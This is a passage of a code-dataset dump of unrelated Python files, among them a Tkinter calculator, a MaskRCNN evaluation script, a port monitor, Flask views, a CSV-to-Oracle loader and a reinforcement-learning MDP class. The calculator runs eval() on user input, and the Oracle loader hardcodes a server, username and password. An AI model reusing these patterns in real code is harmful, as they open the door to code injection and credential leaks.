sticky=W)\r\n self.button3 = Button(self, bg=bg1, bd=12, text=\"3\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(3))\r\n self.button3.grid(row=4, column=2, sticky=W)\r\n\r\n self.button0 = Button(self, bg=bg1, bd=12, text=\"0\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(0))\r\n self.button0.grid(row=5, column=0, sticky=W)\r\n\r\n self.buttonAdd = Button(self, bg=bg1, bd=12, text=\"+\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(\"+\"))\r\n self.buttonAdd.grid(row=2, column=3, sticky=W)\r\n self.buttonSub = Button(self, bg=bg1, bd=12, text=\"-\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(\"-\"))\r\n self.buttonSub.grid(row=3, column=3, sticky=W)\r\n self.buttonMul = Button(self, bg=bg1, bd=12, text=\"*\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(\"*\"))\r\n self.buttonMul.grid(row=4, column=3, sticky=W)\r\n self.buttonDiv = Button(self, bg=bg1, bd=12, text=\"/\", width=10, pady=25, font=font,\r\n command=lambda: self.buttonClick(\"/\"))\r\n self.buttonDiv.grid(row=5, column=3, sticky=W)\r\n\r\n self.buttonEq = Button(self, bg=bg2, bd=12, text=\"=\", width=23, pady=25, font=font,\r\n command=self.CalculateTask)\r\n self.buttonEq.grid(row=5, column=1, sticky=W, columnspan=2)\r\n self.buttonAC = Button(self, bg=bg2, bd=12, text=\"TEEEEEJ Wyzeruj To\", width=50, pady=25, font=font,\r\n command=self.ClearDisplay)\r\n self.buttonAC.grid(row=1, sticky=W, columnspan=4)\r\n\r\n def buttonClick(self, number):\r\n self.task = str(self.task) + str(number)\r\n self.UserIn.set(self.task)\r\n\r\n def CalculateTask(self):\r\n self.data = self.user_input.get()\r\n try:\r\n self.answer = eval(self.data)\r\n self.displayText(self.answer)\r\n self.task = self.answer\r\n\r\n except SyntaxError as Err:\r\n self.displayText(\"ERROR!\")\r\n self.task = \"\"\r\n\r\n def displayText(self, value):\r\n self.user_input.delete(0, END)\r\n self.user_input.insert(0, value)\r\n\r\n def ClearDisplay(self):\r\n self.task = \"\"\r\n self.user_input.delete(0, END)\r\n self.user_input.insert(0, \"0\")\r\n\r\n\r\nCalc = Tk()\r\nCalc.title(\"Calculator\")\r\napp = cls_Calc(Calc)\r\nCalc.resizable(width=False, height=False)\r\nCalc.mainloop()\r\n","sub_path":"Calc.py","file_name":"Calc.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"399700972","text":"from mymodule import stats_word\nimport json\nwith open('tang300.json','r',encoding='UTF-8') as f:\n text = f.read()\nf.close\ntry:\n stats_word.stats_text_cn(text,100)\nexcept ValueError:\n print('Error: input is not string.')\n\n","sub_path":"19100402/ttxiny/d09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"190237592","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"post process for 310 inference\"\"\"\nimport os\nimport re\nimport numpy as np\nfrom PIL import Image\nfrom pycocotools.coco import COCO\n\nfrom src.model_utils.config import config\nfrom src.util import coco_eval, bbox2result_1image, results2json, get_seg_masks\n\ndef config_(cfg):\n train_cls = [i for i in re.findall(r'[a-zA-Z\\s]+', cfg.coco_classes) if i != ' ']\n cfg.coco_classes = np.array(train_cls)\n lss = [int(re.findall(r'[0-9]+', i)[0]) for i in cfg.feature_shapes]\n cfg.feature_shapes = [(lss[2*i], lss[2*i+1]) for i in range(int(len(lss)/2))]\n cfg.roi_layer = dict(type='RoIAlign', out_size=7, mask_out_size=14, sample_num=2)\n cfg.warmup_ratio = 1/3.0\n cfg.mask_shape = (28, 28)\n return cfg\nconfig = config_(config)\n\ndst_width = 1280\ndst_height = 768\n\ndef get_img_size(file_name):\n img = Image.open(file_name)\n return img.size\n\ndef get_resize_ratio(img_size):\n org_width, org_height = img_size\n resize_ratio = dst_width / org_width\n if resize_ratio > dst_height / org_height:\n resize_ratio = dst_height / org_height\n\n return resize_ratio\n\ndef get_eval_result(ann_file, img_path, result_path):\n \"\"\" Get metrics result according to the annotation file and result file\"\"\"\n max_num = 128\n result_path = result_path\n outputs = []\n\n dataset_coco = COCO(ann_file)\n img_ids = dataset_coco.getImgIds()\n\n for img_id in img_ids:\n file_id = str(img_id).zfill(12)\n file = os.path.join(img_path, file_id + \".jpg\")\n img_size = get_img_size(file)\n resize_ratio = get_resize_ratio(img_size)\n\n img_metas = np.array([img_size[1], img_size[0]] + [resize_ratio, resize_ratio])\n\n bbox_result_file = os.path.join(result_path, file_id + \"_0.bin\")\n label_result_file = os.path.join(result_path, file_id + \"_1.bin\")\n mask_result_file = os.path.join(result_path, file_id + \"_2.bin\")\n mask_fb_result_file = os.path.join(result_path, file_id + \"_3.bin\")\n\n all_bbox = np.fromfile(bbox_result_file, dtype=np.float16).reshape(80000, 5)\n all_label = np.fromfile(label_result_file, dtype=np.int32).reshape(80000, 1)\n all_mask = np.fromfile(mask_result_file, dtype=np.bool_).reshape(80000, 1)\n all_mask_fb = np.fromfile(mask_fb_result_file, dtype=np.float16).reshape(80000, 28, 28)\n\n all_bbox_squee = np.squeeze(all_bbox)\n all_label_squee = np.squeeze(all_label)\n all_mask_squee = np.squeeze(all_mask)\n all_mask_fb_squee = np.squeeze(all_mask_fb)\n\n all_bboxes_tmp_mask = all_bbox_squee[all_mask_squee, :]\n all_labels_tmp_mask = all_label_squee[all_mask_squee]\n all_mask_fb_tmp_mask = all_mask_fb_squee[all_mask_squee, :, :]\n\n if all_bboxes_tmp_mask.shape[0] > max_num:\n inds = np.argsort(-all_bboxes_tmp_mask[:, -1])\n inds = inds[:max_num]\n all_bboxes_tmp_mask = all_bboxes_tmp_mask[inds]\n all_labels_tmp_mask = all_labels_tmp_mask[inds]\n all_mask_fb_tmp_mask = all_mask_fb_tmp_mask[inds]\n\n bbox_results = bbox2result_1image(all_bboxes_tmp_mask, all_labels_tmp_mask, config.num_classes)\n segm_results = get_seg_masks(all_mask_fb_tmp_mask, all_bboxes_tmp_mask, all_labels_tmp_mask, img_metas,\n True, config.num_classes)\n outputs.append((bbox_results, segm_results))\n\n eval_types = [\"bbox\", \"segm\"]\n result_files = results2json(dataset_coco, outputs, \"./results.pkl\")\n coco_eval(result_files, eval_types, dataset_coco, single_result=False)\n\nif __name__ == '__main__':\n get_eval_result(config.ann_file, config.img_path, config.result_path)\n","sub_path":"official/cv/MaskRCNN/maskrcnn_mobilenetv1/postprocess.py","file_name":"postprocess.py","file_ext":"py","file_size_in_byte":4313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"355045791","text":"import datetime\nimport socket\nimport sys\nimport time\nimport smtplib\nfrom email.mime.text import MIMEText\n\nhost = str (input('Host: '))\nport = str (input('Port: '))\n\nHOST_UP=1\nHOST_DOWN=2\n\ndef send_mail(status_msg):\n me = 'email - sender'\n you = 'email - recipient'\n text = timestamp+' '+ host + ':' + status_msg\n subj = status_msg + host\n server = 'smtp.gmail.com'\n port = 587\n user_name = \"login\"\n user_passwd = \"password\"\n msg = MIMEText (text, \"\", \"utf-8\")\n msg['Subject'] = subj\n msg['From'] = me\n msg['To'] = you\n s = smtplib.SMTP(server, port)\n s.set_debuglevel(0)\n s.ehlo()\n s.starttls()\n s.login(user_name, user_passwd)\n s.sendmail(me, you, msg.as_string())\n s.quit()\n print (\"Report send!\")\n# if not port.isalnum(): \n# print (\"Enter the correct port number\")\n\n sys.exit(1)\n\nstatus=None\nstatus_changed=False\n\nwhile 1:\n d = datetime.datetime.now()\n timestamp = d.strftime(\"%Y-%m-%d %H:%M:%S\")\n s = socket.socket()\n s.settimeout(1)\n try:\n s.connect((host, int(port)))\n except socket.error:\n if status != HOST_DOWN:\n status_changed = True\n status = HOST_DOWN\n status_msg=' Offline'\n else:\n s.close\n if status != HOST_UP:\n status_changed = True\n status = HOST_UP\n status_msg =' Online'\n print (\"'timestamp+' '+ host +':' + port + ' - Active\")\n if status_changed:\n send_mail(status_msg)\n status_changed = False\n time.sleep(60)\n","sub_path":"listing.py","file_name":"listing.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"304090316","text":"import math\r\n\r\ndef isPrime(x): \r\n\t\"\"\"return true if x is prime, false if composite\"\"\"\r\n\tfor i in range(2, int(x**0.5+1)):\r\n\t\tif x%i == 0:\r\n\t\t\treturn False\r\n\t\r\n\treturn True\r\n\r\ndef computeFirstFourMersennePrimes():\r\n\t\"\"\"return a list of the first four Mersenne primes\"\"\"\r\n\tprimesList = []\r\n\tn = 2\r\n\tcount = 0\r\n\twhile count < 4:\r\n\t\tcandidate = pow(2, n) - 1\r\n\t\tif isPrime(candidate):\r\n\t\t\tprimesList.append(candidate)\r\n\t\t\tcount = count + 1\r\n\t\tn = n + 1\r\n\t\r\n\treturn primesList\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tprint(computeFirstFourMersennePrimes())","sub_path":"hw5/mersenne.py","file_name":"mersenne.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"583754906","text":"import time\n# change this according to your path\nfrom rislab_lib.mocap_udp import UdpReceiver\n\n\nif __name__ == '__main__':\n receiver = UdpReceiver.UdpRigidBodies()\n receiver.start_thread()\n Controller_Start_Time = time.time()\n while True:\n # no sync\n AbsTime = time.time() - Controller_Start_Time\n time.sleep(0.5)\n print(receiver.get_data())\n if AbsTime > 5:\n break\n\n while True:\n # sync\n AbsTime = time.time() - Controller_Start_Time\n print(receiver.get_data_sync())\n if AbsTime > 10:\n break\n receiver.stop_thread()\n\n","sub_path":"mocap_udp/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334133392","text":"# -*- coding:utf-8 -*-\n\n\nimport datetime\n\nimport tornado.escape\n\nfrom torcms.core import tools\nfrom torcms.model.core_tab import g_Reply\nfrom torcms.model.core_tab import g_User2Reply\nfrom torcms.model.supertable_model import MSuperTable\n\n\nclass MReply(MSuperTable):\n def __init__(self):\n self.tab = g_Reply\n try:\n g_Reply.create_table()\n except:\n pass\n\n def update_vote(self, reply_id, count):\n entry = g_Reply.update(\n vote=count\n ).where(g_Reply.uid == reply_id)\n entry.execute()\n\n # def update(self, uid, post_data, update_time=False):\n #\n # cnt_html = tools.markdown2html(post_data['cnt_md'][0])\n # entry = g_Reply.update(\n # title=post_data['title'][0],\n # date=datetime.datetime.now(),\n # cnt_html=cnt_html,\n # user_name=post_data['user_name'],\n # cnt_md=tornado.escape.xhtml_escape(post_data['cnt_md'][0]),\n # time_update=tools.timestamp(),\n # logo=post_data['logo'][0],\n # keywords=post_data['keywords'][0],\n # ).where(g_Reply.uid == uid)\n # entry.execute()\n\n def insert_data(self, post_data):\n uid = tools.get_uuid()\n\n g_Reply.create(\n uid=uid,\n post_id = post_data['post_id'],\n user_name=post_data['user_name'],\n user_id=post_data['user_id'],\n timestamp=tools.timestamp(),\n date=datetime.datetime.now(),\n cnt_md=tornado.escape.xhtml_escape(post_data['cnt_reply']),\n cnt_html=tools.markdown2html(post_data['cnt_reply']),\n vote=0,\n )\n return (uid)\n def query_by_post(self, postid):\n return g_Reply.select().where(g_Reply.post_id == postid).order_by(g_Reply.timestamp.desc())\n def get_by_zan(self, reply_id):\n return g_User2Reply.select().where(g_User2Reply.reply_id == reply_id).count()\n def query_all(self):\n return self.tab.select().order_by(g_Reply.timestamp.desc())\n","sub_path":"torcms/model/reply_model.py","file_name":"reply_model.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"533350040","text":"from app import app\nfrom flask import render_template, request\nfrom app.core.json_assembler import *\n\n\n@app.route('/')\n@app.route('/index')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/get_data')\ndef get_data():\n ja = JSONAssembler(app.root_path+'/core/config.json', force_rebuild=True)\n if ja.init_failed:\n return '{\"status\": \"Error: DB Connection Failed\"}'\n return ja.get_viz_json()\n\n\n@app.route('/get_data_filtered')\ndef get_data_filtered():\n dummy_time_1 = \" 00:00:00\"\n dummy_time_2 = \" 23:59:59\"\n date_from = request.args.get('start', None, type=str) + dummy_time_1\n date_to = request.args.get('end', None, type=str) + dummy_time_2\n main_item = request.args.get('main_item', None, type=str)\n department = request.args.get('department', None, type=str)\n ja = JSONAssembler(app.root_path+'/core/config.json', force_rebuild=True, date_boundaries=[date_from, date_to], mi_filter=main_item, dep_filter=department)\n if ja.init_failed:\n return '{\"status\": \"Error: DB Connection Failed\"}'\n return ja.get_viz_json()\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476551579","text":"# Process CSV Files\nimport logging\nimport os\nimport csv\nimport re\nfrom datetime import datetime\nfrom collections import OrderedDict\n\nenvironment = 'development'\n#environment = 'production'\nif environment == 'development':\n logging_filename = r'\\\\cowsvdwx123\\wpaptp\\log\\wpaptp.log'\n upload_folder = r'\\\\cowsvdwx123\\wpaptp\\UPLOAD'\n\nif environment == 'production':\n logging_filename = r'\\\\cowsvpwx123\\wpaptp\\log\\wpaptp.log'\n upload_folder = r'\\\\cowsvpwx123\\wpaptp\\UPLOAD'\n\nprint('logging_filename '+logging_filename)\nprint('upload_folder '+upload_folder)\n\nins_monthly_trip = \"INSERT INTO VFH_MONTHLY_TRIP (COMPANY_NAME, MONTH_END, FTP_DATE) VALUES (\"\nins_detail_trip = \"INSERT INTO [dbo].[Monthly] ([CompanyName] ,[FTPDate] ,[TotalTripsDispatcherStandard] ,[TotalTripsDispatcherAccessible] ,[TotalVehiclesPTPStandard] ,[TotalVehiclesPTPAccessible]) VALUES (\"\nins_driver_list = \"INSERT INTO [dbo].[Monthly] ([CompanyName] ,[FTPDate] ,[TotalTripsDispatcherStandard] ,[TotalTripsDispatcherAccessible] ,[TotalVehiclesPTPStandard] ,[TotalVehiclesPTPAccessible]) VALUES (\"\n\n# set up logging to file - see previous section for more details\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=logging_filename,\n filemode='w')\n# define a Handler which writes INFO messages or higher to the sys.stderr\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\n# set a format which is simpler for console use\nformatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n# tell the handler to use this format\nconsole.setFormatter(formatter)\n# add the handler to the root logger\nlogging.getLogger('').addHandler(console)\n\nimport cx_Oracle\n\nserver = 'Cowsvdodb202'\nport = '1521'\nservices = 'COWORD16'\nusrnm = 'flexadmin'\npswrd = 'ame3m'\n\nconnectionVar = True\n\ntry:\n dsn_tns = cx_Oracle.makedsn(server, port, services)\n cnxn = cx_Oracle.connect(user=usrnm, password=pswrd, dsn=dsn_tns)\nexcept cx_Oracle.Error as ex:\n connectionVar = False\n print(ex)\n logger2 = logging.getLogger(server)\n logger2.error(ex)\n\t\nif connectionVar:\n cursor = cnxn.cursor()\n extension = '.csv'\n for root, dirs, files in os.walk(upload_folder):\n print(\"root \"+ root)\n print(\"dirs \")\n print(dirs)\n print(\"files \")\n print(files)\n for fname in files:\n if os.path.splitext(fname)[-1] == extension:\n processedVar = True\n company_name_dir = root \n print(\"company_name_dir \"+company_name_dir)\n company_name_dir_fname = os.path.join(root, fname) \n print(\"company_name_dir_fname \"+company_name_dir_fname)\n print(\"fname \"+fname)\n CompanyName = fname.split(\"+\",1)[0]\n print(\"CompanyName \"+CompanyName)\n ftpdate = fname.split(\"+\",2)[2]\n ftpdate = ftpdate[0:15]\n print(\"ftpdate \"+ftpdate)\n FTPDate = datetime.strptime(ftpdate, \"%Y%m%d_%H%M%S\")\n print(FTPDate)\n logger1 = logging.getLogger(company_name_dir_fname)\n logger1.info('begin processing...')\n with open(company_name_dir_fname, encoding='utf-8-sig') as f:\n for row in csv.DictReader(f):\n #print(\"row \")\n #print(row)\n od = OrderedDict(row)\n od.keys()\n #print(\"od.keys() \")\n #print(od.keys())\n keyVal = True\n\n csv_file_type = 'FAIL'\n \n if 'Lux_VehCount' in od.keys():\n csv_file_type = 'MonthlyTrip'\n print('csv_file_type '+csv_file_type)\n try:\n Month_End = od['Month_End']\n print(\"Month_End \"+Month_End)\n\n PTP_A_VehCount = od['PTP_A_VehCount']\n print(\"PTP_A_VehCount \"+PTP_A_VehCount)\n\n PTP_A_TripCount = od['PTP_A_TripCount']\n print(\"PTP_A_TripCount \"+PTP_A_TripCount)\n\n PTP_S_VehCount = od['PTP_S_VehCount']\n print(\"PTP_S_VehCount \"+PTP_S_VehCount)\n\n PTP_S_TripCount = od['PTP_S_TripCount']\n print(\"PTP_S_TripCount \"+PTP_S_TripCount)\n\n Lux_VehCount = od['Lux_VehCount']\n print(\"Lux_VehCount \"+Lux_VehCount)\n\n Lux_TripCount = od['Lux_TripCount']\n print(\"Lux_TripCount \"+Lux_TripCount)\n\n Taxi_A_VehCount = od['Taxi_A_VehCount']\n print(\"Taxi_A_VehCount \"+Taxi_A_VehCount)\n\n Taxi_A_TripCount = od['Taxi_A_TripCount']\n print(\"Taxi_A_TripCount \"+Taxi_A_TripCount)\n\n Taxi_S_VehCount = od['Taxi_S_VehCount']\n print(\"Taxi_S_VehCount \"+Taxi_S_VehCount)\n\n Taxi_S_TripCount = od['Taxi_S_TripCount']\n print(\"Taxi_S_TripCount \"+Taxi_S_TripCount)\n\n Service_Mode = od['Service_Mode']\n print(\"Service_Mode \"+Service_Mode)\n\n except KeyError as e:\n keyVal = False\n processedVar = False\n print(company_name_dir_fname)\n print(e)\n logger2 = logging.getLogger(csv_file_type+' '+company_name_dir_fname)\n logger2.error(e)\n \n if 'Transaction_Date' in od.keys():\n csv_file_type = 'DetailTrip'\n print('csv_file_type '+csv_file_type)\n try:\n Transaction_Date = od['Transaction_Date']\n print(\"Transaction_Date \"+Transaction_Date)\n\n PickUp_Time = od['PickUp_Time']\n print(\"PickUp_Time \"+PickUp_Time)\n\n DropOff_Time = od['DropOff_Time']\n print(\"DropOff_Time \"+DropOff_Time)\n\n Driver_Name = od['Driver_Name']\n print(\"Driver_Name \"+Driver_Name)\n\n Vehicle_Type = od['Vehicle_Type']\n print(\"Vehicle_Type \"+Vehicle_Type)\n\n Licence_Plate = od['Licence_Plate']\n print(\"Licence_Plate \"+Licence_Plate)\n\n Pickup_Location = od['Pickup_Location']\n print(\"Pickup_Location \"+Pickup_Location)\n\n PickUp_Coordinates = od['PickUp_Coordinates']\n print(\"PickUp_Coordinates \"+PickUp_Coordinates)\n\n DropOff_Location = od['DropOff_Location']\n print(\"DropOff_Location \"+DropOff_Location)\n\n DrodOff_Coordinates = od['DrodOff_Coordinates']\n print(\"DrodOff_Coordinates \"+DrodOff_Coordinates)\n\n ServiceWait_Time = od['ServiceWait_Time']\n print(\"ServiceWait_Time \"+ServiceWait_Time)\n\n Service_Mode = od['Service_Mode']\n print(\"Service_Mode \"+Service_Mode)\n\n except KeyError as e:\n keyVal = False\n processedVar = False\n print(company_name_dir_fname)\n print(e)\n logger2 = logging.getLogger(csv_file_type+' '+company_name_dir_fname)\n logger2.error(e)\n\t\t\t\t\t\t\t\n if 'Driver_License_No' in od.keys():\n csv_file_type = 'DriverList'\n print('csv_file_type '+csv_file_type)\n try:\n First_Name = od['First_Name']\n print(\"First_Name \"+First_Name)\n\n Middle_Initial = od['Middle_Initial']\n print(\"Middle_Initial \"+Middle_Initial)\n\n Last_Name = od['Last_Name']\n print(\"Last_Name \"+Last_Name)\n\n Vehicle_Type = od['Vehicle_Type']\n print(\"Vehicle_Type \"+Vehicle_Type)\n\n Licence_Plate = od['Licence_Plate']\n print(\"Licence_Plate \"+Licence_Plate)\n\n Driver_License_No = od['Driver_License_No']\n print(\"Driver_License_No \"+Driver_License_No)\n\n Approval_Date = od['Approval_Date']\n print(\"Approval_Date \"+Approval_Date)\n\n except KeyError as e:\n keyVal = False\n processedVar = False\n print(company_name_dir_fname)\n print(e)\n logger2 = logging.getLogger(csv_file_type+' '+company_name_dir_fname)\n logger2.error(e)\n\n cnxn.close() ","sub_path":"WPA/VFH/Python/Scripts/Process_CSV_Files_Oracle02.py","file_name":"Process_CSV_Files_Oracle02.py","file_ext":"py","file_size_in_byte":10108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"238753047","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef load_data():\n ''' Загрузка данных '''\n \n fashion_mnist = keras.datasets.fashion_mnist\n (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data() \n\n return (train_images, train_labels), (test_images, test_labels)\n \n\ndef open_image(image, save=None):\n plt.figure()\n plt.imshow(image)\n plt.colorbar()\n plt.grid(False)\n if save is not None:\n plt.savefig(save)\n plt.show()\n\n\ndef result(predictions, x):\n max = predictions[x].max()\n min = predictions[x].min()\n \n if predictions[x][0] == max:\n text = f'clothes: {round(max*100, 2)}%'\n elif predictions[x][1] == max:\n text = f'shoes: {round(max*100, 2)}%'\n else: pass\n\n return text\n\n\nif __name__=='__main__':\n # Загрузка данных\n\n (train_images, train_labels), (test_images, test_labels) = load_data()\n # train_images, train_labels - данные для обучения\n # test_images, test_labels - данные для теста\n\n # файлы _labels - массив от 0 до 9\n # они соответствуюют классу одежды:\n\n # 'T-shirt/top' = 0\n # 'Trouser' = 1\n # 'Pullover' = 2\n # 'Dress' = 3\n # 'Coat' = 4\n # 'Sandal' = 5\n # 'Shirt' = 6\n # 'Sneaker' = 7\n # 'Bag' = 8\n # 'Ankle boot' = 9\n\n # Но т.к. наша задача лишь в том, чтобы определить одежда это или обувь,\n # отредактируем файлы _labels\n\n # clothes, shoes = одежда, обувь\n\n # {\n # 'shoes':[5,7,9],\n # 'clothes':[0,1,2,3,4,6,8]\n # }\n\n item_type = ['clothes', 'shoes']\n\n train_labels = pd.DataFrame(train_labels, columns={'labels'})\n train_labels['labels2'] = train_labels['labels'].apply(lambda x: 1 if x in [5,7,9] else 0)\n train_labels = train_labels['labels2'].values\n \n test_labels = pd.DataFrame(test_labels, columns={'labels'})\n test_labels['labels2'] = test_labels['labels'].apply(lambda x: 1 if x in [5,7,9] else 0)\n test_labels = test_labels['labels2'].values\n\n # print (train_images.shape) # (60000, 28, 28)\n # print (train_labels.shape) # (60000,)\n # print (test_images.shape) # (10000, 28, 28)\n # print (test_labels.shape) # (10000,)\n \n # view and save file\n # open_image(train_images[1], 'files/1.image.png')\n\n # Нормализация цвета [0..1]\n test_images = test_images / 255\n train_images = train_images / 255\n\n # Проверка изображений\n plt.figure(figsize=(10,10))\n for i in range(25):\n plt.subplot(5,5,i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(train_images[i], cmap=plt.cm.binary)\n plt.xlabel(item_type[train_labels[i]])\n plt.savefig('files/input.png')\n\n # Настройка слоев\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)), # преобразование массива из двумерного в одномерный\n keras.layers.Dense(128, activation=tf.nn.relu), # связанные нейронные слои. 128 нейронов\n keras.layers.Dense(2, activation=tf.nn.softmax) # вероятность класса\n ])\n\n model.compile(\n optimizer=tf.train.AdamOptimizer(), \n loss='sparse_categorical_crossentropy',\n metrics=['accuracy']\n )\n\n\n # Обучение:\n model.fit(train_images, train_labels, epochs=1)\n\n\n # Тест\n test_loss, test_acc = model.evaluate(test_images, test_labels)\n print('Test accuracy:', test_acc)\n\n\n # Прогнозирование:\n predictions = model.predict(test_images)\n \n plt.figure(figsize=(10,10))\n for i in range(25):\n plt.subplot(5,5,i+1)\n plt.xticks([])\n plt.yticks([])\n plt.grid(False)\n plt.imshow(test_images[i], cmap=plt.cm.binary)\n text = result(predictions, i)\n plt.xlabel(text)\n plt.savefig('files/result.png')\n ","sub_path":"1.fashion.py","file_name":"1.fashion.py","file_ext":"py","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"514178099","text":"from _sha256 import sha256\n\nfrom config.config import cmod\n\nfrom anoncreds.protocol.globals import NAME, VERSION, TYPE, TYPE_CL, ATTR_NAMES\nfrom anoncreds.protocol.types import SerFmt\nfrom anoncreds.protocol.utils import randomString, serialize, base58encode\n\n\nclass CredentialDefinition:\n def __init__(self,\n uid,\n attrNames,\n name=None,\n version=None,\n ):\n \"\"\"\n :param attrNames: List of all attribute names\n :param uid: The global unique id for this credential definition\n :param name: human-friendly name\n :param version: version (semver style)\n :return:\n \"\"\"\n\n self.uid = uid\n self._name = name or randomString(6)\n self._version = version or \"1.0\"\n self.attrNames = attrNames\n\n if not attrNames and isinstance(attrNames, list):\n raise ValueError(\"List of attribute names is required to \"\n \"setup credential definition\")\n\n @property\n def name(self) -> str:\n return self._name\n\n @name.setter\n def name(self, name):\n self._name = name\n\n @property\n def version(self) -> str:\n return self._version\n\n @version.setter\n def version(self, version):\n self._version = version\n\n @classmethod\n def getEncodedAttrs(cls, attrs):\n \"\"\"\n This function will encode all the attributes to 256 bit integers\n\n :param attrs: The attributes to pass in credentials\n :return:\n \"\"\"\n\n return {key: cmod.Conversion.bytes2integer(sha256(value.encode()).digest())\n for key, value in attrs.items()}\n\n def get(self, serFmt: SerFmt=SerFmt.default):\n data = {\n NAME: self.name,\n VERSION: self.version,\n TYPE: TYPE_CL,\n ATTR_NAMES: self.attrNames\n }\n return serialize(data, serFmt)\n","sub_path":"anoncreds/protocol/credential_definition.py","file_name":"credential_definition.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"642780879","text":"#!/usr/bin/env python\n\nimport mdptoolbox\nimport numpy as np\nimport math\nfrom copy import deepcopy\n\n\"\"\"\n This class implements an MDP for a two-goal 10x10 state space\n\"\"\"\nclass MDP:\n def __init__(self):\n #define state space\n self.actions = 9 #number of possible actions\n self.l = 8 #the state space is 10x10\n self.states = (self.l**2) + 1 #total number of states\n self.terminal = self.states - 1\n self.goals = [58, 60, 62] #goal states\n #self.goals = [91, 95, 98] #goal states\n #self.goals = [21, 23] #goal states\n self.obstacles = [] #where obstacles are located\n self.diagonals = [1, 3, 5, 7]\n\n #initialize transition matrix\n self.P = np.zeros([self.actions,self.states,self.states])\n\n #initialize reward for both the human and the robot\n self.R_human = -1 * np.ones((self.states, self.actions))\n self.R_robot = -1 * np.ones((self.states, self.actions))\n\n #set gamma for learning\n self.gamma = 0.9\n\n #initialize values states\n self.V = None\n self.Vs_robot = {}\n self.Vs_human = {}\n\n #initialize policy storage\n self.policy = None\n self.policies = {}\n\n #set up mdp information\n self.setup()\n #print(\"state space\", self.states)\n\n\n\n \"\"\"\n This function makes the rewards for the human teammate\n \"\"\"\n def make_rewards_human(self):\n #reward 100 for reaching any goal\n for s in range(self.states):\n for a in range(self.actions):\n if a in self.diagonals:\n self.R_human[s][a] = -2\n for g in self.goals:\n for i in range(self.R_human.shape[1]):\n self.R_human[g][i] = 100\n\n \"\"\"\n This function makes the rewards for the robot teammate\n \"\"\"\n def make_rewards(self):\n #reward 100 for reaching any goal\n for s in range(self.states):\n for a in range(self.actions):\n if a in self.diagonals:\n self.R_human[s][a] = -2\n for g in self.goals:\n for i in range(self.R_robot.shape[1]):\n self.R_robot[g][i] = 100\n\n \"\"\"\n This function returns the next state given the current state and action\n \"\"\"\n\n def act(self,a,s,g=None):\n #if s is a goal state or the terminal state, go to terminal state no matter what action is taken\n if g == None and (s in self.goals or s == self.states - 1):\n return self.states - 1\n elif (s == g or s == self.states - 1):\n return self.states - 1\n\n #if a=0, try to move north\n elif a == 0 and s + self.l < self.states-1 and s + self.l not in self.obstacles:\n return s + self.l\n\n #if a=1, try to move northeast\n elif a == 1 and s + self.l + 1 < self.states-1 and (s%self.l) < (self.l-1) and s + self.l + 1 not in self.obstacles:\n return s + self.l + 1\n\n #if a=2, try to move east\n elif a == 2 and s + 1 < self.states-1 and (s%self.l) < (self.l-1) and s + 1 not in self.obstacles:\n return s + 1\n\n #if a=3, try to move southeast\n elif a == 3 and s - self.l + 1 >= 0 and (s%self.l) < (self.l-1) and s - self.l + 1 not in self.obstacles:\n return s - self.l + 1\n\n #if a=4, try to move south\n elif a == 4 and s - self.l >= 0 and s - self.l not in self.obstacles:\n return s - self.l\n\n #if a=5, try to move southwest\n elif a == 5 and s - self.l - 1 >= 0 and (s%self.l) > 0 and s - self.l - 1 not in self.obstacles:\n return s - self.l - 1\n\n #if a=6, try to move west\n elif a == 6 and s - 1 >= 0 and (s%self.l) > 0 and s - 1 not in self.obstacles:\n return s - 1\n\n #if a=7, try to move northwest\n elif a == 7 and s + self.l - 